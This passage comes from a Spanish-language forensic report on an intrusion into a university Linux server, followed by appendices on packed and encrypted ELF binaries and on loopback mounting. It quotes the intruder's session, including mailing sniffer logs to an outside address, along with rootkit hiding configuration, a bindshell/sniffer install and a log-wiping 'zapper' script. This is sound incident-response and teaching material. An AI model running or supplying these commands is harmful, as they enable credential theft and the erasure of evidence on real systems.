330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

